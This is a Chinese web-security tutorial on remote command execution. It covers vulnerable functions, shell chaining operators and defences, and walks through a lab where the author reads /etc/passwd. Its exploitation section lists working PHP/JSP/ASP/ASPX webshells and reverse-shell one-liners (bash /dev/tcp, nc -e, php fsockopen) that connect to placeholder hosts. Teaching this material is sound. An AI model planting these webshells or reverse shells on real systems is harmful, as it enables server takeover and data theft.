Web安全基础学习:RCE远程命令执行之基础命令执行

理论基础

  • 命令执行漏洞

    命令执行漏洞是指攻击者通过注入恶意命令来执行非预期的操作;简单来说就是没有对用户输入的内容充分的验证或过滤,而直接带入到命令执行函数中当成系统化命令被执行。

  • 漏洞危害
    1. 执行任意系统命令,可能导致服务器被完全控制。
    2. 敏感信息泄露,如密码、数据库内容等。
    3. 对系统进行拒绝服务(DoS)攻击。
    4. 执行恶意代码,如安装后门、植入恶意软件等。
  • 常见漏洞函数

    编程语言执行系统命令的函数
    PHPexec()shell_exec()system()passthru()proc_open()popen()
    Pythonos.system()subprocess.run()subprocess.Popen()
    Goos/exec.Command()os/exec.Run()os/exec.Output()
    JavaRuntime.getRuntime().exec()ProcessBuilder.command()
    Node.jschild_process.exec()child_process.spawn()
  • Windows&Linux命令语法
    1. Windows

      • &:用于连接多个命令,按顺序执行

      • &&:用于连接多个命令,只有前一个命令成功执行后才执行下一个命令

      • |:用于将一个命令的输出作为另一个命令的输入

      • ||: 用于连接多个命令,只要前一个命令执行失败,就执行下一个命令

      • *:匹配任意字符序列(可以为空)

      • ?:匹配单个字符

      • 更多参考:腾讯社区-Window下CMD命令语法应知应会

    2. Linux

      • ;:用于连接多个命令,按顺序执行
      • &:用于连接多个命令,将多个命令置于后台运行
      • &&|||*?:与Windows一样
      • [a-z0-9]:匹配[]中的任意字符
      • 更多参考:linux常用语法
  • 进一步利用
    1. 写入webshell:

      # 常见的webshell
      
      # php
      <?php eval($_POST['f4nq1e']);?>
      <?=eval($_POST[f4nq1e]);?>
      <?php assert(@$_POST['f4nq1e']);?>
      <?php$fun=create_function('',$_POST['f4nq1e']);$fun();?>
      <?php@call_user_func(assert,$_POST['f4nq1e']);?>
      <?php@preg_replace("/abcde/e",$_POST['f4nq1e'],"abcdefg");?>
      <?php$a='assert';array_map("$a",$_REQUEST);?>
      <?php$item['JON']='assert';$array[]=$item;$array[0]['JON']($_POST["f4nq1e"]);?>
      <?php$a="eval";$a(@$_POST['f4nq1e']);?>
      
      # jsp
      <% out.println(system(request.getParameter("f4nq1e"))); %>
      
      # asp
      <%eval request("f4nq1e")%>
      <%execute(request("f4nq1e"))%>
      <%ExecuteGlobal request("f4nq1e")%>
      
      # aspx
      <%@ Page Language="Jscript" validateRequest="false" %><%Response.Write(eval(Request.Item["f4nq1e"],"unsafe"));%>
      

      参考文章:知乎-命令执行写Webshell总结

    2. 反弹shell:

      # bash反弹shell
      /bin/bash -i >& /dev/tcp/xx.xx.xx.xx/9877 0>&1
      
      # nc反弹shell:
      nc -e /bin/sh xx.xx.xx.xx 9877
      
      # php反弹shell
      php -r '$sock=fsockopen("xx.xx.xx.xx",1234);exec("/bin/sh -i <&3 >&3 2>&3");'
      
      # telnet反弹shell
      telnet xx.xx.xx.xx 8080 | /bin/bash | telnet xx.xx.xx.xx 9090
      
      # crontab反弹shell
      * * * * * /bin/bash -i >& /dev/tcp//1234 0>&1
      

      参考文章:先知-反弹shell方式汇总

  • 命令执行防御
    1. 输入验证和过滤:对于从用户或外部源接收的所有输入数据,进行严格的验证和过滤。确保只允许预期的输入字符和格式,并拒绝潜在的恶意代码。
    2. 权限限制:确保应用程序在执行命令时使用最低特权。不要在命令执行中使用超级用户权限或管理员权限,以降低攻击者可能获得的权限。
    3. 沙箱环境:在可能的情况下,将应用程序或相关组件运行在沙箱环境中,以限制其对系统的访问权限。这可以帮助隔离恶意代码的影响,并提供额外的安全层。

实践学习

漏洞环境以Pilot靶场为例:下载地址与部署教程

  1. 进入漏洞页面,发现服务器进程监控每隔固定时间会刷新。

  2. 抓包拦截刷新请求,发现通过Base64编码进行了命令执行,返回了进程信息:

    l1-1

  3. 修改命令为cat /etc/passwd,读取虚拟机的密码信息:

    l1-2

  4. 成功执行命令。

  • 9
    点赞
  • 9
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值